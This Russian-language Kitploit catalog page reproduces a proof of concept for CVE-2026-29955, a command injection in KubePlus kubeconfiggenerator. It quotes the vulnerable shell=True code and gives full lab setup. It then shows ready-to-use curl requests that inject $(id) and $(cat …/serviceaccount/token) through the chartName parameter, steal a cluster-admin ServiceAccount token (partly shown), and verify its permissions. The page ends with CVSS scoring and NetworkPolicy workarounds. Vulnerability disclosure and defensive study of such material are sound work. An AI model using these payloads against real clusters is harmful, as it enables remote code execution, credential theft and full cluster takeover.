Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-29955 — Доказательство концепции для CVE-2026-29955 — уязвимости внедрения команд в KubePlus kubeconfiggenerator, позволяющей удалённое выполнение кода и кражу токена ServiceAccount в кластерах Kubernetes. | Kitploit
Инструменты/GitHubGitHub/b0b0haha/cve-2026-29955
Безопасность контейнеровАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность облачных сред
GitHubb0b0haha/cve-2026-29955

CVE-2026-29955

Доказательство концепции для CVE-2026-29955 — уязвимости внедрения команд в KubePlus kubeconfiggenerator, позволяющей удалённое выполнение кода и кражу токена ServiceAccount в кластерах Kubernetes.

Репозиторий
55 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уязвимость внедрения команд в KubePlus KubeconfigGenerator

Эта уязвимость существует в компоненте kubeconfiggenerator проекта KubePlus, позволяя злоумышленникам с доступом к HTTP-интерфейсу внедрять shell-команды через параметр chartName, выполнять произвольный код с правами root внутри контейнера и похищать токены ServiceAccount с привилегиями cluster-admin. Рекомендуемая классификация CWE: CWE-78 (внедрение OS-команд).

Краткое описание

Конечная точка /registercrd в компоненте kubeconfiggenerator проекта KubePlus уязвима к внедрению команд. Компонент использует subprocess.Popen() с параметром shell=True для выполнения shell-команд, а предоставляемый пользователем параметр chartName напрямую конкатенируется в строку команды без какой-либо санитизации или проверки. Злоумышленник может внедрить произвольные shell-команды, сформировав вредоносное значение параметра chartName.

Подробности

Корневая причина

При обработке запросов на регистрацию CRD компонент kubeconfiggenerator загружает и распаковывает Helm-чарты. В функции download_and_untar_chart() параметр chartName напрямую конкатенируется в shell-команды:

Файл: deploy/kubeconfiggenerator.py:60-69

root@kitploit:~
def run_command(cmd):
    print(cmd)
    cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
    out = cmdOut[0].decode('utf-8')
    err = cmdOut[1].decode('utf-8')
    return out, err

Файл: deploy/kubeconfiggenerator.py:554

root@kitploit:~
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)

Файл: deploy/kubeconfiggenerator.py:562

root@kitploit:~
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)

Из-за параметра shell=True злоумышленники могут использовать синтаксис подстановки команд $(command) для внедрения произвольных команд.

Вектор атаки

Отправив HTTP-запрос к конечной точке /registercrd с вредоносным параметром chartName, злоумышленник может выполнить произвольные команды внутри контейнера kubeconfiggenerator. Поскольку контейнер работает с правами root, а его ServiceAccount имеет привилегии cluster-admin, злоумышленник может:

  1. Выполнять произвольные системные команды
  2. Читать конфиденциальные файлы внутри контейнера
  3. Похищать токены ServiceAccount
  4. Использовать похищенные токены для доступа к API Kubernetes

PoC

Настройка окружения

1. Создание Kind-кластера

root@kitploit:~
# Создание конфигурации Kind-кластера
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
  - role: control-plane
EOF

# Создание кластера
kind create cluster --config kind-config.yaml

# Проверка кластера
kubectl cluster-info
kubectl get nodes

Ожидаемый вывод:

root@kitploit:~
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

NAME                          STATUS   ROLES           AGE   VERSION
kubeplus-test-control-plane   Ready    control-plane   1m    v1.27.3

2. Установка KubePlus

root@kitploit:~
# Создание рабочей директории
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc

# Загрузка плагинов KubePlus
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz

# Загрузка скрипта provider-kubeconfig
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py

# Настройка Python-окружения
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes

# Получение адреса API-сервера
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')

# Создание provider kubeconfig
python3 provider-kubeconfig.py -s $apiserver create default

Ожидаемый вывод:

root@kitploit:~
Provider kubeconfig created: kubeplus-saas-provider.json

3. Установка KubePlus через Helm

root@kitploit:~
# Загрузка Helm-чарта KubePlus
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz

# Установка KubePlus
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default

# Ожидание готовности подов
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s

# Проверка установки
kubectl get pods -n default -l app=kubeplus

Ожидаемый вывод:

root@kitploit:~
NAME                                   READY   STATUS    RESTARTS   AGE
kubeplus-deployment-57dbf6f8b9-xxxxx   5/5     Running   0          2m

4. Настройка проброса портов

root@kitploit:~
# Получение имени пода
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')

# Настройка проброса портов
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &

# Проверка доступности сервиса
curl -s http://localhost:5005/hello

Ожидаемый вывод:

root@kitploit:~
hello world

Шаги эксплуатации

Шаг 1: Выполнение внедрения команды (команда id)

Отправка запроса с вредоносным параметром chartName:

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'

Шаг 2: Проверка выполнения команды

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt

Фактический вывод проверки:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

Шаг 3: Похищение токена ServiceAccount

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'

Шаг 4: Извлечение похищенного токена

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt

Фактический вывод проверки:

root@kitploit:~
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...

Шаг 5: Проверка разрешений токена

root@kitploit:~
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"

Фактический вывод проверки:

root@kitploit:~
Resources                                       Non-Resource URLs   Resource Names   Verbs
*.*                                             []                  []               [*]
                                                [*]                 []               [*]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]

Журналы на стороне сервера

Журналы контейнера kubeconfiggenerator показывают выполнение внедрённой команды:

root@kitploit:~
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
root@kitploit:~
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)

Воздействие

Эта уязвимость позволяет злоумышленнику:

  1. Удалённое выполнение кода: Выполнение произвольных команд с правами root внутри контейнера kubeconfiggenerator
  2. Кража учётных данных: Похищение токенов ServiceAccount с привилегиями cluster-admin (*.*)
  3. Захват кластера: Использование похищенных токенов для выполнения любых операций с API Kubernetes, включая создание/удаление подов, чтение секретов, изменение конфигураций RBAC и т.д.
  4. Горизонтальное перемещение: Доступ к ресурсам в любом namespace внутри кластера

Предварительные условия

  • Злоумышленнику нужен доступ к HTTP-интерфейсу сервиса kubeconfighelper (порт 5005)
  • Сервис доступен внутри кластера по умолчанию

Серьёзность

Оценка CVSS v3.1: 8.8 (Высокая)

Вектор: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Вектор атаки (AV): Сеть
  • Сложность атаки (AC): Низкая
  • Требуемые привилегии (PR): Низкие (требуется доступ к сервису kubeconfighelper)
  • Взаимодействие с пользователем (UI): Отсутствует
  • Область воздействия (S): Без изменений
  • Конфиденциальность (C): Высокая (можно похитить токен ServiceAccount)
  • Целостность (I): Высокая (можно выполнять произвольные команды)
  • Доступность (A): Высокая (можно повлиять на доступность сервиса)

Затронутые версии

  • KubePlus v4.2.0 и более ранние версии
  • Все версии, использующие shell=True для выполнения команд

Исправленные версии

Исправленная версия пока недоступна.

Обходные пути

  1. Сетевая изоляция: Используйте NetworkPolicy для ограничения доступа к сервису kubeconfighelper
  2. Ограничение RBAC: Снизьте привилегии ServiceAccount kubeplus-saas-provider
  3. Мониторинг: Отслеживайте аномальное выполнение команд в контейнере kubeconfiggenerator
root@kitploit:~
# Пример NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-kubeconfighelper
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          trusted: "true"
    ports:
    - protocol: TCP
      port: 5005

Ссылки

  • CWE-78: Некорректная нейтрализация специальных элементов, используемых в OS-команде ('внедрение OS-команд')
  • OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
  • Безопасность Python subprocess: https://docs.python.org/3/library/subprocess.html#security-considerations
  • Kubeplus: https://github.com/cloud-ark/kubeplus

Авторы

@b0b0haha ([email protected]) @lixingquzhi ([email protected])

Скачать инструмент